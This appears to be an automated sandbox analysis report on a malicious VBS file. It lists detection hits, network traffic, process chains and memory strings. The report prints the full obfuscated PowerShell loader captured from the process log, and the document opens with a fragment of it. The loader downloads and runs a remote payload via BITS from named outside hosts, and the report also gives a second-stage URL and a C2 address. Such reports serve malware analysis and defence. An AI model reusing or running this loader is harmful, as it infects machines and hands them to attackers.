Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Taksig0Kakotop0 anaest2 Period)Seychel Aggradi{F

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7896, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T12:38:03.679602+0100	2803270	2	Potentially Bad Traffic	192.168.2.7	49781	103.120.177.150	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: tmkSAOF3GM.vbs	Virustotal: Detection: 36%			Perma Link
Source: tmkSAOF3GM.vbs	ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.120.177.150:443 -> 192.168.2.7:49781 version: TLS 1.2

Source:	Binary string: m.Core.pdb source: powershell.exe, 00000006.00000002.1739272158.00000000085DA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: wab.exe, 00000008.00000003.1760053800.00000000245B0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000008.00000003.1760156162.00000000246D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: wab.exe, 00000008.00000003.1759301650.00000000247A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000008.00000003.1759602090.00000000245B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: wab.exe, 00000008.00000003.1759301650.00000000247A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb, source: powershell.exe, 00000006.00000002.1735332796.00000000076D4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, 00000008.00000003.1759602090.00000000245B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1735332796.00000000076ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: wab.exe, 00000008.00000003.1760053800.00000000245B0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000008.00000003.1760156162.00000000246D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbv source: powershell.exe, 00000006.00000002.1735332796.00000000076D4000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic

TCP traffic: 192.168.2.7:49819 -> 91.92.252.226:7127

Source: Joe Sandbox View

IP Address: 107.161.23.150 107.161.23.150

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49781 -> 103.120.177.150:443

Source: global traffic

HTTP traffic detected: GET /ms/ms.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.royalengineeringllc.comCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.226
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\dialer.exe

Code function: 10_2_053C9F64 memset,memset,WSARecv,GetLastError,WSAGetLastError,WSAGetLastError,WSAGetLastError,RegisterWaitForSingleObject,

10_2_053C9F64

Source: global traffic	HTTP traffic detected: GET /ms/Nonn215.prm HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Mon, 05 Feb 2024 16:17:14 GMTUser-Agent: Microsoft BITS/7.8Host: www.astenterprises.com.pk
Source: global traffic	HTTP traffic detected: GET /ms/ms.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: www.royalengineeringllc.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.astenterprises.com.pk
Source: global traffic	DNS traffic detected: DNS query: www.royalengineeringllc.com

Source: powershell.exe, 00000006.00000002.1735332796.0000000007620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: svchost.exe, 00000005.00000003.1349172359.000001F91D820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000003.00000002.1966922652.000001EC5E145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1845588983.000001EC4E0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1732706007.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1845588983.000001EC4E0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.1732706007.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000005.00000003.1349172359.000001F91D879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000005.00000003.1349172359.000001F91D820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1845588983.000001EC4F25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1966922652.000001EC5E145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000005.00000002.2612981154.000001F91DAC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/
Source: svchost.exe, 00000005.00000002.2612981154.000001F91DAC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/5e
Source: svchost.exe, 00000005.00000002.2612981154.000001F91DAC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/C2
Source: svchost.exe, 00000005.00000002.2613009598.000001F91DAE4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2611854358.000001F918D02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2612780417.000001F91DA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2612855786.000001F91DA61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/Nonn215.prm
Source: svchost.exe, 00000005.00000003.1432823810.000001F91D821000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2612645168.000001F91D980000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2609990879.0000009FF8A7B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/Nonn215.prm/C:
Source: powershell.exe, 00000003.00000002.1845588983.000001EC4E289000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/Nonn215.prmP
Source: powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/Nonn215.prmXR
Source: svchost.exe, 00000005.00000002.2612855786.000001F91DA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2612894209.000001F91DA95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk:443/ms/Nonn215.prm
Source: wab.exe, 00000008.00000002.1771543069.0000000007528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.royalengineeringllc.com/ms/ms.bin
Source: wab.exe, 00000008.00000002.1771543069.0000000007528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.royalengineeringllc.com/ms/ms.binC
Source: wab.exe, 00000008.00000002.1771543069.0000000007528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.royalengineeringllc.com/ms/ms.binI

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.120.177.150:443 -> 192.168.2.7:49781 version: TLS 1.2

Source: Yara match	File source: 10.3.dialer.exe.5380000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.dialer.exe.5160000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.wab.exe.245b0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.wab.exe.247d0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.dialer.exe.5380000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.1764322214.0000000005380000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1764142605.0000000005160000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1760404109.00000000245B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1760674277.00000000247D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_8112.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8112, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB779A45	3_2_00007FFAAB779A45
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB7857E6	3_2_00007FFAAB7857E6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB786592	3_2_00007FFAAB786592
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB7852E9	3_2_00007FFAAB7852E9
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E3524	10_2_053E3524
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053D3573	10_2_053D3573
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053DBC11	10_2_053DBC11
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053DC458	10_2_053DC458
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E2CBD	10_2_053E2CBD
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053CD73D	10_2_053CD73D
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E2721	10_2_053E2721
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E7FA2	10_2_053E7FA2
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E3F8C	10_2_053E3F8C
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053DC7EB	10_2_053DC7EB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053C8653	10_2_053C8653
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E2009	10_2_053E2009
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053D38DB	10_2_053D38DB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053C834D	10_2_053C834D
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E5BA4	10_2_053E5BA4
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E3BC5	10_2_053E3BC5
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 10_2_053E22B4	10_2_053E22B4

Source: tmkSAOF3GM.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5757
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5757
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5757	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5757	Jump to behavior

Source: amsi32_8112.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8112, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@11/11@3/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FFAAB77AF80 CoCreateInstance,

3_2_00007FFAAB77AF80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
Source: C:\Windows\SysWOW64\dialer.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b25ugmmv.whp.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7728
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=8112
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmkSAOF3GM.vbs	Virustotal: Detection: 36%
Source: tmkSAOF3GM.vbs	ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\tmkSAOF3GM.vbs"
